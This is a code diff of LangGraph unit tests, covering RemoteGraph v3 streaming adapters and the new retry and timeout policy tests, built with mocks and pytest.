assert result == pairs + sdk_thread.interleave_projections.assert_called_once_with(["values", "messages"]) + + +def test_async_adapter_has_no_interleave(): + """Async adapter intentionally lacks `interleave` (mirrors local + `AsyncGraphRunStream`, which doesn't have one either). Async callers + compose with `asyncio.gather` / `asyncio.as_completed`. + """ + assert not hasattr(_AsyncRemoteGraphRunStream, "interleave") + + +def _make_async_adapter(*, run_start_returns=None, run_start_raises=None): + client = MagicMock() + client.runs.cancel = AsyncMock() + sdk_thread = MagicMock() + sdk_thread.thread_id = "thread-abc" + sdk_thread.__aenter__ = AsyncMock(return_value=sdk_thread) + sdk_thread.__aexit__ = AsyncMock(return_value=None) + sdk_thread.close = AsyncMock() + sdk_thread.run = MagicMock() + if run_start_raises is not None: + sdk_thread.run.start = AsyncMock(side_effect=run_start_raises) + else: + sdk_thread.run.start = AsyncMock( + return_value=run_start_returns or {"run_id": "run-xyz"} + ) + adapter = _AsyncRemoteGraphRunStream( + client=client, + sdk_thread=sdk_thread, + input={"x": 1}, + config={"configurable": {}}, + metadata=None, + ) + return adapter, client, sdk_thread + + +@pytest.mark.anyio +async def test_aenter_calls_sdk_aenter_then_run_start_and_captures_run_id(): + adapter, _, sdk_thread = _make_async_adapter() + async with adapter as stream: + assert stream is adapter + sdk_thread.__aenter__.assert_awaited_once() + sdk_thread.run.start.assert_awaited_once_with( + input={"x": 1}, config={"configurable": {}}, metadata=None + ) + assert adapter._run_id == "run-xyz" + + +@pytest.mark.anyio +async def test_aexit_delegates_to_sdk_aexit(): + adapter, _, sdk_thread = _make_async_adapter() + async with adapter: + pass + sdk_thread.__aexit__.assert_awaited_once_with(None, None, None) + + +@pytest.mark.anyio +async def test_aenter_unwinds_sdk_cm_when_run_start_raises(): + adapter, _, sdk_thread = _make_async_adapter( + run_start_raises=RuntimeError("start boom") + ) + with pytest.raises(RuntimeError, match="start boom"): + async with adapter: + pytest.fail("body should not run") + sdk_thread.__aenter__.assert_awaited_once() + sdk_thread.__aexit__.assert_awaited_once() + assert adapter._run_id is None + + +@pytest.mark.anyio +async def test_async_output_interrupted_interrupts_passthrough(): + adapter, _, sdk_thread = _make_async_adapter() + + async def _fake_output_awaitable(): + return {"foo": 1} + + sdk_thread.output = _fake_output_awaitable() + sdk_thread.interrupted = True + sdk_thread.interrupts = [{"interrupt_id": "i1", "namespace": [], "value": "v"}] + async with adapter as stream: + assert await stream.output() == {"foo": 1} + assert await stream.interrupted() is True + assert await stream.interrupts() == [ + {"interrupt_id": "i1", "namespace": [], "value": "v"} + ] + + +@pytest.mark.anyio +async def test_async_projection_attrs_forward_to_sdk(): + adapter, _, sdk_thread = _make_async_adapter() + sdk_thread.values = object() + sdk_thread.messages = object() + sdk_thread.tool_calls = object() + sdk_thread.subgraphs = object() + async with adapter as stream: + assert stream.values is sdk_thread.values + assert stream.messages is sdk_thread.messages + assert stream.tool_calls is sdk_thread.tool_calls + assert stream.subgraphs is sdk_thread.subgraphs + assert set(stream.extensions) == set(_ProjectionRegistry._NATIVE) + assert stream.extensions["messages"] is sdk_thread.messages + + +@pytest.mark.anyio +async def test_aiter_caches_first_subscription(): + adapter, _, sdk_thread = _make_async_adapter() + + class _FakeAsyncEvents: + def __init__(self, items): + self._items = list(items) + + def __aiter__(self): + return self + + async def __anext__(self): + if not self._items: + raise StopAsyncIteration + return self._items.pop(0) + + sdk_thread.events = _FakeAsyncEvents([object(), object()]) + async with adapter as stream: + first = stream.__aiter__() + second = stream.__aiter__() + assert first is second + + +@pytest.mark.anyio +async def test_async_abort_cancels_run_and_closes_sdk(): + adapter, client, sdk_thread = _make_async_adapter() + async with adapter as stream: + await stream.abort() + client.runs.cancel.assert_awaited_once_with("thread-abc", "run-xyz", wait=False) + sdk_thread.close.assert_awaited_once() + + +@pytest.mark.anyio +async def test_async_abort_before_aenter_skips_cancel(): + adapter, client, sdk_thread = _make_async_adapter() + await adapter.abort() + client.runs.cancel.assert_not_awaited() + sdk_thread.close.assert_awaited_once() + + +@pytest.mark.anyio +async def test_async_abort_swallows_cancel_failure(): + adapter, client, sdk_thread = _make_async_adapter() + client.runs.cancel.side_effect = RuntimeError("cancel boom") + async with adapter as stream: + await stream.abort() + sdk_thread.close.assert_awaited_once() + + +def _make_remote_graph() -> RemoteGraph: + sync_client = MagicMock() + async_client = MagicMock() + rg = RemoteGraph( + "agent", + client=async_client, + sync_client=sync_client, + ) + return rg + + +def test_reject_v3_unsupported_passes_when_all_clear(): + rg = _make_remote_graph() + rg._reject_v3_unsupported( + control=None, + transformers=None, + interrupt_before=None, + interrupt_after=None, + extra_kwargs={}, + ) + + +@pytest.mark.parametrize( + "kwarg_name,kwarg_value", + [ + ("control", object()), + ("transformers", [object()]), + ("interrupt_before", ["node_a"]), + ("interrupt_after", ["node_b"]), + ], +) +def test_reject_v3_unsupported_raises_per_kwarg(kwarg_name, kwarg_value): + rg = _make_remote_graph() + kwargs = dict( + control=None, + transformers=None, + interrupt_before=None, + interrupt_after=None, + extra_kwargs={}, + ) + kwargs[kwarg_name] = kwarg_value + with pytest.raises(NotImplementedError, match=f"`{kwarg_name}=`"): + rg._reject_v3_unsupported(**kwargs) + + +def test_reject_v3_unsupported_raises_on_unknown_extra_kwarg(): + rg = _make_remote_graph() + with pytest.raises(NotImplementedError, match="context"): + rg._reject_v3_unsupported( + control=None, + transformers=None, + interrupt_before=None, + interrupt_after=None, + extra_kwargs={"context": {}}, + ) + + +def test_reject_v3_unsupported_allows_metadata_and_headers(): + rg = _make_remote_graph() + rg._reject_v3_unsupported( + control=None, + transformers=None, + interrupt_before=None, + interrupt_after=None, + extra_kwargs={"metadata": {"a": 1}, "headers": {"X": "y"}}, + ) + + +def test_translate_command_input_surfaces_raw_resume_value(): + # The v3 server wraps the resume `input` as {"resume": input} itself, so the + # wire `input` must be the raw resume value, not the serialized dataclass. + assert _translate_command_input(Command(resume="go")) == "go" + assert _translate_command_input(Command(resume={"id": "v"})) == {"id": "v"} + + +def test_translate_command_input_rejects_goto_and_update(): + with pytest.raises(NotImplementedError, match="goto"): + _translate_command_input(Command(goto="node_b")) + with pytest.raises(NotImplementedError, match="update"): + _translate_command_input(Command(update={"a": 1})) + + +def test_translate_command_input_passes_through_non_command(): + assert _translate_command_input({"a": 1}) == {"a": 1} + assert _translate_command_input(None) is None + + +def test_v3_supported_kwargs_known_set(): + assert _V3_SUPPORTED_KWARGS == frozenset({"metadata", "headers"}) + + +def test_stream_events_v3_constructs_sdk_thread_with_sanitized_args(): + sync_client = MagicMock() + sdk_thread = MagicMock() + sync_client.threads.stream.return_value = sdk_thread + rg = RemoteGraph( + "agent", + client=MagicMock(), + sync_client=sync_client, + ) + result = rg.stream_events( + {"input_key": 1}, + config={"configurable": {"thread_id": "t1", "user": "u"}}, + version="v3", + ) + assert isinstance(result, _RemoteGraphRunStream) + sync_client.threads.stream.assert_called_once() + call = sync_client.threads.stream.call_args + assert call.kwargs["thread_id"] == "t1" + assert call.kwargs["assistant_id"] == "agent" + assert call.kwargs["headers"] is None + + +def test_stream_events_v3_passes_none_thread_id_when_absent(): + sync_client = MagicMock() + sync_client.threads.stream.return_value = MagicMock() + rg = RemoteGraph("agent", client=MagicMock(), sync_client=sync_client) + rg.stream_events({"x": 1}, version="v3") + call = sync_client.threads.stream.call_args + assert call.kwargs["thread_id"] is None + + +def test_stream_events_v3_rejects_unsupported_kwargs_before_sdk_call(): + sync_client = MagicMock() + rg = RemoteGraph("agent", client=MagicMock(), sync_client=sync_client) + with pytest.raises(NotImplementedError, match="control"): + rg.stream_events({"x": 1}, version="v3", control=object()) + sync_client.threads.stream.assert_not_called() + + +def test_stream_events_v3_translates_command_input(): + sync_client = MagicMock() + sync_client.threads.stream.return_value = MagicMock() + rg = RemoteGraph("agent", client=MagicMock(), sync_client=sync_client) + # Resume Command surfaces its raw resume value as the wire `input`; the v3 + # server wraps it as {"resume": input} once it detects the interrupt. + adapter = rg.stream_events(Command(resume="go"), version="v3") + assert adapter._start_kwargs["input"] == "go" + + +def test_stream_events_v3_rejects_goto_update_command(): + rg = RemoteGraph("agent", client=MagicMock(), sync_client=MagicMock()) + with pytest.raises(NotImplementedError, match="goto"): + rg.stream_events(Command(goto="node_b"), version="v3") + + +def test_stream_events_v3_strips_checkpoint_keys_from_configurable(): + sync_client = MagicMock() + sync_client.threads.stream.return_value = MagicMock() + rg = RemoteGraph("agent", client=MagicMock(), sync_client=sync_client) + adapter = rg.stream_events( + {"x": 1}, + config={ + "configurable": { + "thread_id": "t1", + "checkpoint_id": "c1", + "checkpoint_ns": "ns", + "user": "u", + } + }, + version="v3", + ) + sent_config = adapter._start_kwargs["config"] + assert "checkpoint_id" not in sent_config["configurable"] + assert "checkpoint_ns" not in sent_config["configurable"] + assert sent_config["configurable"]["user"] == "u" + + +def test_stream_events_v3_merges_tracing_headers_when_distributed_tracing( + monkeypatch, +): + from langgraph.pregel import remote as remote_mod + + sync_client = MagicMock() + sync_client.threads.stream.return_value = MagicMock() + rg = RemoteGraph( + "agent", + client=MagicMock(), + sync_client=sync_client, + distributed_tracing=True, + ) + captured = {} + + def fake_merge(headers): + captured["arg"] = headers + return {"x-ls-trace": "1", **(headers or {})} + + monkeypatch.setattr(remote_mod, "_merge_tracing_headers", fake_merge) + rg.stream_events({"x": 1}, version="v3", headers={"X-Custom": "y"}) + assert captured["arg"] == {"X-Custom": "y"} + sent_headers = sync_client.threads.stream.call_args.kwargs["headers"] + assert sent_headers["x-ls-trace"] == "1" + assert sent_headers["X-Custom"] == "y" + + +def test_stream_events_v3_passes_headers_unchanged_without_tracing(): + sync_client = MagicMock() + sync_client.threads.stream.return_value = MagicMock() + rg = RemoteGraph( + "agent", + client=MagicMock(), + sync_client=sync_client, + distributed_tracing=False, + ) + rg.stream_events({"x": 1}, version="v3", headers={"X-Custom": "y"}) + sent_headers = sync_client.threads.stream.call_args.kwargs["headers"] + assert sent_headers == {"X-Custom": "y"} + + +def test_stream_events_non_v3_delegates_to_super(): + rg = RemoteGraph("agent", client=MagicMock(), sync_client=MagicMock()) + sync_client_attr = rg.sync_client + try: + rg.stream_events({"x": 1}, version="v2") + except Exception: + pass + sync_client_attr.threads.stream.assert_not_called() + + +@pytest.mark.anyio +async def test_astream_events_v3_constructs_sdk_thread(): + client = MagicMock() + sdk_thread = MagicMock() + client.threads.stream.return_value = sdk_thread + rg = RemoteGraph("agent", client=client, sync_client=MagicMock()) + result = await rg.astream_events( + {"x": 1}, + config={"configurable": {"thread_id": "t1"}}, + version="v3", + ) + assert isinstance(result, _AsyncRemoteGraphRunStream) + call = client.threads.stream.call_args + assert call.kwargs["thread_id"] == "t1" + assert call.kwargs["assistant_id"] == "agent" + + +@pytest.mark.anyio +async def test_astream_events_v3_rejects_unsupported_kwargs(): + client = MagicMock() + rg = RemoteGraph("agent", client=client, sync_client=MagicMock()) + with pytest.raises(NotImplementedError, match="transformers"): + await rg.astream_events({"x": 1}, version="v3", transformers=[object()]) + client.threads.stream.assert_not_called() + + +@pytest.mark.anyio +async def test_astream_events_non_v3_raises_not_implemented(): + rg = RemoteGraph("agent", client=MagicMock(), sync_client=MagicMock()) + with pytest.raises(NotImplementedError, match="not implemented"): + await rg.astream_events({"x": 1}, version="v2") diff --git a/libs/langgraph/tests/test_retry.py b/libs/langgraph/tests/test_retry.py new file mode 100644 index 0000000..fcdde93 --- /dev/null +++ b/libs/langgraph/tests/test_retry.py @@ -0,0 +1,2943 @@ +import asyncio +import contextlib +import operator +import sys +import threading +import time +from collections import deque +from collections.abc import AsyncIterator +from datetime import datetime, timedelta +from typing import Annotated, Any +from unittest.mock import Mock, patch +from uuid import uuid4 + +import pytest +from langchain_core.callbacks import AsyncCallbackManagerForLLMRun, BaseCallbackHandler +from langchain_core.language_models.fake_chat_models import GenericFakeChatModel +from langchain_core.messages import AIMessage, AIMessageChunk, BaseMessage, HumanMessage +from langchain_core.outputs import ChatGeneration, ChatGenerationChunk, ChatResult +from langchain_core.runnables import RunnableConfig, RunnableLambda, RunnableParallel +from langgraph.checkpoint.memory import InMemorySaver, MemorySaver +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer +from typing_extensions import TypedDict + +from langgraph._internal._constants import ( + CONF, + CONFIG_KEY_CHECKPOINT_ID, + CONFIG_KEY_CHECKPOINT_NS, + CONFIG_KEY_RUNTIME, + CONFIG_KEY_SEND, + CONFIG_KEY_STREAM, + CONFIG_KEY_TASK_ID, + CONFIG_KEY_THREAD_ID, + CONFIG_KEY_TIMED_ATTEMPT_OBSERVER, +) +from langgraph._internal._runnable import RunnableCallable +from langgraph._internal._timeout import coerce_timeout_policy +from langgraph.channels.ephemeral_value import EphemeralValue +from langgraph.channels.last_value import LastValue +from langgraph.errors import ( + GraphInterrupt, + NodeCancelledError, + NodeError, + NodeTimeoutError, + ParentCommand, +) +from langgraph.func import entrypoint, task +from langgraph.graph import END, START, StateGraph, add_messages +from langgraph.pregel import NodeBuilder, Pregel +from langgraph.pregel._read import PregelNode +from langgraph.pregel._retry import ( + _checkpoint_ns_for_parent_command, + _ensure_execution_info, + _should_retry_on, + _TimedAttemptScope, + arun_with_retry, + run_with_retry, +) +from langgraph.pregel.protocol import StreamProtocol +from langgraph.runtime import DEFAULT_RUNTIME, ExecutionInfo, Runtime +from langgraph.types import ( + Command, + PregelExecutableTask, + RetryPolicy, + Send, + TimeoutPolicy, +) + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + +# `asyncio.Task.cancelling()` is Python 3.11+. The LSD-1507 fix in +# `langgraph/pregel/_retry.py` falls back to a no-op on 3.10 (preserves the +# existing CancelledError-as-silent-tear-down behaviour) because there is no +# reliable way to distinguish user-raised from framework-initiated +# cancellation without that API. Tests for the converted behaviour gate on +# the same Python version boundary. +NEEDS_TASK_CANCELLING = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="LSD-1507 user-cancellation conversion requires Python 3.11+ " + "(asyncio.Task.cancelling)", +) + + +def test_should_retry_on_single_exception(): + """Test retry with a single exception type.""" + policy = RetryPolicy(retry_on=ValueError) + + # Should retry on ValueError + assert _should_retry_on(policy, ValueError("test error")) is True + + # Should not retry on other exceptions + assert _should_retry_on(policy, TypeError("test error")) is False + assert _should_retry_on(policy, Exception("test error")) is False + + +def test_should_retry_on_sequence_of_exceptions(): + """Test retry with a sequence of exception types.""" + policy = RetryPolicy(retry_on=(ValueError, KeyError)) + + # Should retry on listed exceptions + assert _should_retry_on(policy, ValueError("test error")) is True + assert _should_retry_on(policy, KeyError("test error")) is True + + # Should not retry on other exceptions + assert _should_retry_on(policy, TypeError("test error")) is False + assert _should_retry_on(policy, Exception("test error")) is False + + +def test_should_retry_on_subclass_of_exception(): + """Test retry on subclass of specified exception.""" + + class CustomError(ValueError): + pass + + policy = RetryPolicy(retry_on=ValueError) + + # Should retry on subclass of specified exception + assert _should_retry_on(policy, CustomError("test error")) is True + + +def test_should_retry_on_callable(): + """Test retry with a callable predicate.""" + + # Only retry on ValueError with message containing 'retry' + def should_retry(exc: Exception) -> bool: + return isinstance(exc, ValueError) and "retry" in str(exc) + + policy = RetryPolicy(retry_on=should_retry) + + # Should retry when predicate returns True + assert _should_retry_on(policy, ValueError("please retry this")) is True + + # Should not retry when predicate returns False + assert _should_retry_on(policy, ValueError("other error")) is False + assert _should_retry_on(policy, TypeError("please retry this")) is False + + +def test_should_retry_on_invalid_type(): + """Test retry with an invalid retry_on type.""" + policy = RetryPolicy(retry_on=123) # type: ignore + + with pytest.raises(TypeError, match="retry_on must be an Exception class"): + _should_retry_on(policy, ValueError("test error")) + + +def test_should_retry_on_empty_sequence(): + """Test retry with an empty sequence.""" + policy = RetryPolicy(retry_on=()) + + # Should not retry when sequence is empty + assert _should_retry_on(policy, ValueError("test error")) is False + + +def test_checkpoint_ns_for_parent_command() -> None: + assert _checkpoint_ns_for_parent_command("") == "" + assert _checkpoint_ns_for_parent_command("node:1") == "" + assert _checkpoint_ns_for_parent_command("node:1|child:2") == "node:1" + assert _checkpoint_ns_for_parent_command("node:1|1|child:2") == "node:1" + assert _checkpoint_ns_for_parent_command("node:1|1|child:2|1") == "node:1" + assert ( + _checkpoint_ns_for_parent_command("parent:1|1|child:1|1|node:1|1") + == "parent:1|1|child:1" + ) + assert ( + _checkpoint_ns_for_parent_command("parent:1|1|child:1|1|node:1") + == "parent:1|1|child:1" + ) + + +def test_should_retry_default_retry_on(): + """Test the default retry_on function.""" + import httpx + import requests + + # Create a RetryPolicy with default_retry_on + policy = RetryPolicy() + + # Should retry on ConnectionError + assert _should_retry_on(policy, ConnectionError("connection refused")) is True + + # Should not retry on common programming errors + assert _should_retry_on(policy, ValueError("invalid value")) is False + assert _should_retry_on(policy, TypeError("invalid type")) is False + assert _should_retry_on(policy, ArithmeticError("division by zero")) is False + assert _should_retry_on(policy, ImportError("module not found")) is False + assert _should_retry_on(policy, LookupError("key not found")) is False + assert _should_retry_on(policy, NameError("name not defined")) is False + assert _should_retry_on(policy, SyntaxError("invalid syntax")) is False + assert _should_retry_on(policy, RuntimeError("runtime error")) is False + assert _should_retry_on(policy, ReferenceError("weak reference")) is False + assert _should_retry_on(policy, StopIteration()) is False + assert _should_retry_on(policy, StopAsyncIteration()) is False + assert _should_retry_on(policy, OSError("file not found")) is False + + # Should retry on httpx.HTTPStatusError with 5xx status code + response_5xx = Mock() + response_5xx.status_code = 503 + http_error_5xx = httpx.HTTPStatusError( + "server error", request=Mock(), response=response_5xx + ) + assert _should_retry_on(policy, http_error_5xx) is True + + # Should not retry on httpx.HTTPStatusError with 4xx status code + response_4xx = Mock() + response_4xx.status_code = 404 + http_error_4xx = httpx.HTTPStatusError( + "not found", request=Mock(), response=response_4xx + ) + assert _should_retry_on(policy, http_error_4xx) is False + + # Should retry on requests.HTTPError with 5xx status code + response_req_5xx = Mock() + response_req_5xx.status_code = 502 + req_error_5xx = requests.HTTPError("bad gateway") + req_error_5xx.response = response_req_5xx + assert _should_retry_on(policy, req_error_5xx) is True + + # Should not retry on requests.HTTPError with 4xx status code + response_req_4xx = Mock() + response_req_4xx.status_code = 400 + req_error_4xx = requests.HTTPError("bad request") + req_error_4xx.response = response_req_4xx + assert _should_retry_on(policy, req_error_4xx) is False + + # Should retry on requests.HTTPError with no response + req_error_no_resp = requests.HTTPError("connection error") + req_error_no_resp.response = None + assert _should_retry_on(policy, req_error_no_resp) is True + + # NodeTimeoutError should be retryable by default + assert ( + _should_retry_on( + policy, + NodeTimeoutError("node", 1.0, kind="run", run_timeout=0.5), + ) + is True + ) + + # Should retry on other exceptions by default + class CustomException(Exception): + pass + + assert _should_retry_on(policy, CustomException("custom error")) is True + + +def test_graph_with_single_retry_policy(): + """Test a simple graph with a single RetryPolicy for a node.""" + + class State(TypedDict): + foo: str + + attempt_count = 0 + attempt_numbers: list[int] = [] + first_attempt_times: list[float | None] = [] + + def failing_node(state: State, runtime: Runtime): + nonlocal attempt_count + attempt_count += 1 + assert runtime.execution_info.node_attempt == attempt_count + attempt_numbers.append(runtime.execution_info.node_attempt) + first_attempt_times.append(runtime.execution_info.node_first_attempt_time) + if attempt_count < 3: # Fail the first two attempts + raise ValueError("Intentional failure") + return {"foo": "success"} + + def other_node(state: State): + return {"foo": "other_node"} + + # Create a retry policy with specific parameters + retry_policy = RetryPolicy( + max_attempts=3, + initial_interval=0.01, # Short interval for tests + backoff_factor=2.0, + jitter=False, # Disable jitter for predictable timing + retry_on=ValueError, + ) + + # Create and compile the graph + graph = ( + StateGraph(State) + .add_node("failing_node", failing_node, retry_policy=retry_policy) + .add_node("other_node", other_node) + .add_edge(START, "failing_node") + .add_edge("failing_node", "other_node") + .compile() + ) + + with patch("time.sleep") as mock_sleep: + result = graph.invoke({"foo": ""}) + + # Verify retry behavior + assert attempt_count == 3 # The node should have been tried 3 times + assert attempt_numbers == [1, 2, 3] + assert len(first_attempt_times) == 3 + assert first_attempt_times[0] is not None + assert first_attempt_times[1] == first_attempt_times[0] + assert first_attempt_times[2] == first_attempt_times[0] + assert result["foo"] == "other_node" # Final result should be from other_node + + # Verify the sleep intervals + call_args_list = [args[0][0] for args in mock_sleep.call_args_list] + assert call_args_list == [0.01, 0.02] + + +def test_runtime_execution_info_defaults_without_retry(): + """Test execution_info defaults when no retry and no config are provided.""" + + class State(TypedDict): + foo: str + + captured = {} + + def node(state: State, runtime: Runtime): + captured["node_attempt"] = runtime.execution_info.node_attempt + captured["node_first_attempt_time"] = ( + runtime.execution_info.node_first_attempt_time + ) + return {"foo": "ok"} + + graph = StateGraph(State).add_node("node", node).add_edge(START, "node").compile() + + result = graph.invoke({"foo": ""}) + + assert result["foo"] == "ok" + assert captured["node_attempt"] == 1 + assert isinstance(captured["node_first_attempt_time"], float) + + +def test_graph_with_jitter_retry_policy(): + """Test a graph with a RetryPolicy that uses jitter.""" + + class State(TypedDict): + foo: str + + attempt_count = 0 + + def failing_node(state): + nonlocal attempt_count + attempt_count += 1 + if attempt_count < 2: # Fail the first attempt + raise ValueError("Intentional failure") + return {"foo": "success"} + + # Create a retry policy with jitter enabled + retry_policy = RetryPolicy( + max_attempts=3, + initial_interval=0.01, + jitter=True, # Enable jitter for randomized backoff + retry_on=ValueError, + ) + + # Create and compile the graph + graph = ( + StateGraph(State) + .add_node("failing_node", failing_node, retry_policy=retry_policy) + .add_edge(START, "failing_node") + .compile() + ) + + # Test graph execution with mocked random and sleep + with ( + patch("random.uniform", return_value=0.05) as mock_random, + patch("time.sleep") as mock_sleep, + ): + result = graph.invoke({"foo": ""}) + + # Verify retry behavior + assert attempt_count == 2 # The node should have been tried twice + assert result["foo"] == "success" + + # Verify jitter was applied + mock_random.assert_called_with(0, 1) # Jitter should use random.uniform(0, 1) + mock_sleep.assert_called_with(0.01 + 0.05) # Sleep should include jitter + + +def test_graph_with_multiple_retry_policies(): + """Test a graph with multiple retry policies for a node.""" + + class State(TypedDict): + foo: str + error_type: str + + attempt_counts = {"value_error": 0, "key_error": 0} + + def failing_node(state): + error_type = state["error_type"] + + if error_type == "value_error": + attempt_counts["value_error"] += 1 + if attempt_counts["value_error"] < 2: + raise ValueError("Value error") + elif error_type == "key_error": + attempt_counts["key_error"] += 1 + if attempt_counts["key_error"] < 3: + raise KeyError("Key error") + + return {"foo": f"recovered_from_{error_type}"} + + # Create multiple retry policies + value_error_policy = RetryPolicy( + max_attempts=2, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ) + + key_error_policy = RetryPolicy( + max_attempts=3, + initial_interval=0.02, + jitter=False, + retry_on=KeyError, + ) + + # Create and compile the graph with a list of retry policies + graph = ( + StateGraph(State) + .add_node( + "failing_node", + failing_node, + retry_policy=(value_error_policy, key_error_policy), + ) + .add_edge(START, "failing_node") + .compile() + ) + + # Test ValueError scenario + with patch("time.sleep"): + result_value_error = graph.invoke({"foo": "", "error_type": "value_error"}) + + assert attempt_counts["value_error"] == 2 + assert result_value_error["foo"] == "recovered_from_value_error" + + # Reset attempt counts + attempt_counts = {"value_error": 0, "key_error": 0} + + # Test KeyError scenario + with patch("time.sleep"): + result_key_error = graph.invoke({"foo": "", "error_type": "key_error"}) + + assert attempt_counts["key_error"] == 3 + assert result_key_error["foo"] == "recovered_from_key_error" + + +def test_graph_with_max_attempts_exceeded(): + """Test a graph where max_attempts is exceeded.""" + + class State(TypedDict): + foo: str + + def always_failing_node(state): + raise ValueError("Always fails") + + # Create a retry policy with limited attempts + retry_policy = RetryPolicy( + max_attempts=2, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ) + + # Create and compile the graph + graph = ( + StateGraph(State) + .add_node("always_failing", always_failing_node, retry_policy=retry_policy) + .add_edge(START, "always_failing") + .compile() + ) + + # Test graph execution + with ( + patch("time.sleep") as mock_sleep, + pytest.raises(ValueError, match="Always fails"), + ): + graph.invoke({"foo": ""}) + + mock_sleep.assert_called_with(0.01) + + +def test_execution_info_identity_fields_populated_on_retry(): + """Test that thread_id, task_id, run_id, etc. are populated in execution_info during retries.""" + + class State(TypedDict): + foo: str + + attempt_count = 0 + captured_infos: list[dict] = [] + + def failing_node(state: State, runtime: Runtime): + nonlocal attempt_count + attempt_count += 1 + info = runtime.execution_info + captured_infos.append( + { + "thread_id": info.thread_id, + "run_id": info.run_id, + "node_attempt": info.node_attempt, + "node_first_attempt_time": info.node_first_attempt_time, + "checkpoint_ns": info.checkpoint_ns, + } + ) + if attempt_count < 2: + raise ValueError("Intentional failure") + return {"foo": "success"} + + retry_policy = RetryPolicy( + max_attempts=3, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ) + + graph = ( + StateGraph(State) + .add_node("failing_node", failing_node, retry_policy=retry_policy) + .add_edge(START, "failing_node") + .compile(checkpointer=MemorySaver()) + ) + + with patch("time.sleep"): + result = graph.invoke( + {"foo": ""}, + config={"configurable": {"thread_id": "retry-thread"}}, + ) + + assert result["foo"] == "success" + assert len(captured_infos) == 2 + + # Both attempts should have the same thread_id and first_attempt_time + assert captured_infos[0]["thread_id"] == "retry-thread" + assert captured_infos[1]["thread_id"] == "retry-thread" + assert ( + captured_infos[0]["node_first_attempt_time"] + == captured_infos[1]["node_first_attempt_time"] + ) + + # node_attempt should increment + assert captured_infos[0]["node_attempt"] == 1 + assert captured_infos[1]["node_attempt"] == 2 + + +def test_ensure_execution_info_noop_when_already_set(): + """Test that _ensure_execution_info is a no-op when execution_info exists.""" + existing_info = ExecutionInfo( + checkpoint_id="cp-1", checkpoint_ns="ns-1", task_id="task-1" + ) + runtime = DEFAULT_RUNTIME.override(execution_info=existing_info) + config = {CONF: {CONFIG_KEY_THREAD_ID: "thread-1"}} + task = Mock(id="task-2") + + result = _ensure_execution_info(runtime, config, task) + assert result is runtime + assert result.execution_info is existing_info + + +def test_ensure_execution_info_creates_from_config(): + """Test that _ensure_execution_info creates ExecutionInfo from config when missing.""" + runtime = DEFAULT_RUNTIME.override(execution_info=None) + config = { + "run_id": "run-123", + CONF: { + CONFIG_KEY_CHECKPOINT_ID: "cp-42", + CONFIG_KEY_CHECKPOINT_NS: "ns-42", + CONFIG_KEY_TASK_ID: "task-42", + CONFIG_KEY_THREAD_ID: "thread-42", + }, + } + task = Mock(id="fallback-task-id") + + result = _ensure_execution_info(runtime, config, task) + assert result.execution_info is not None + assert result.execution_info.checkpoint_id == "cp-42" + assert result.execution_info.checkpoint_ns == "ns-42" + assert result.execution_info.task_id == "task-42" + assert result.execution_info.thread_id == "thread-42" + assert result.execution_info.run_id == "run-123" + + +def test_ensure_execution_info_falls_back_to_task_id(): + """Test that _ensure_execution_info uses task.id when CONFIG_KEY_TASK_ID is missing.""" + runtime = DEFAULT_RUNTIME.override(execution_info=None) + config = {CONF: {}} + task = Mock(id="fallback-task-id") + + result = _ensure_execution_info(runtime, config, task) + assert result.execution_info.task_id == "fallback-task-id" + assert result.execution_info.checkpoint_id == "" + assert result.execution_info.checkpoint_ns == "" + + +def test_run_with_retry_creates_execution_info_when_missing(): + """Test that run_with_retry works when runtime has no execution_info (distributed runtime scenario).""" + captured_infos: list[ExecutionInfo] = [] + + class FakeProc: + def invoke(self, input, config): + runtime = config[CONF][CONFIG_KEY_RUNTIME] + captured_infos.append(runtime.execution_info) + return input + + runtime = DEFAULT_RUNTIME.override(execution_info=None) + config = { + "run_id": "run-abc", + CONF: { + CONFIG_KEY_RUNTIME: runtime, + CONFIG_KEY_CHECKPOINT_ID: "cp-99", + CONFIG_KEY_CHECKPOINT_NS: "__start__:task123", + CONFIG_KEY_TASK_ID: "task123", + CONFIG_KEY_THREAD_ID: "thread-xyz", + }, + } + + task = PregelExecutableTask( + name="__start__", + input={"messages": []}, + proc=FakeProc(), + writes=deque(), + config=config, + triggers=["__start__"], + retry_policy=[], + cache_key=None, + id="task123", + path=("__pregel_pull", "__start__"), + ) + + run_with_retry(task, retry_policy=None) + + assert len(captured_infos) == 1 + info = captured_infos[0] + assert info.checkpoint_id == "cp-99" + assert info.checkpoint_ns == "__start__:task123" + assert info.task_id == "task123" + assert info.thread_id == "thread-xyz" + assert info.run_id == "run-abc" + assert info.node_attempt == 1 + assert info.node_first_attempt_time is not None + + +def _make_task( + proc, + *, + timeout=None, + retry_policy=(), + name="timed", + task_id="tid", + writers=(), +): + runtime = DEFAULT_RUNTIME.override(execution_info=None) + writes = deque() + config = { + "run_id": "run-x", + CONF: { + CONFIG_KEY_RUNTIME: runtime, + CONFIG_KEY_CHECKPOINT_ID: "cp", + CONFIG_KEY_CHECKPOINT_NS: f"{name}:{task_id}", + CONFIG_KEY_SEND: writes.extend, + CONFIG_KEY_TASK_ID: task_id, + CONFIG_KEY_THREAD_ID: "thr", + }, + } + return PregelExecutableTask( + name=name, + input=None, + proc=proc, + writes=writes, + config=config, + triggers=[name], + retry_policy=retry_policy, + cache_key=None, + id=task_id, + path=("__pregel_pull", name), + writers=writers, + timeout=coerce_timeout_policy(timeout), + ) + + +def _idle_timeout(value: float | timedelta) -> TimeoutPolicy: + return TimeoutPolicy(idle_timeout=value) + + +def test_coerce_timeout_policy_scalar_is_run_timeout(): + assert coerce_timeout_policy(None) is None + policy = coerce_timeout_policy(timedelta(milliseconds=250)) + assert policy == TimeoutPolicy(run_timeout=0.25) + assert Send("node", None, timeout=timedelta(milliseconds=250)).timeout == policy + + idle_policy = coerce_timeout_policy(TimeoutPolicy(idle_timeout=1.5)) + assert idle_policy == TimeoutPolicy(idle_timeout=1.5) + + with pytest.raises(ValueError, match="run_timeout must be greater than 0"): + coerce_timeout_policy(0) + + +def test_coerce_timeout_policy_returns_same_instance_for_already_coerced(): + policy = coerce_timeout_policy(TimeoutPolicy(run_timeout=1.0, idle_timeout=2.0)) + assert coerce_timeout_policy(policy) is policy + assert 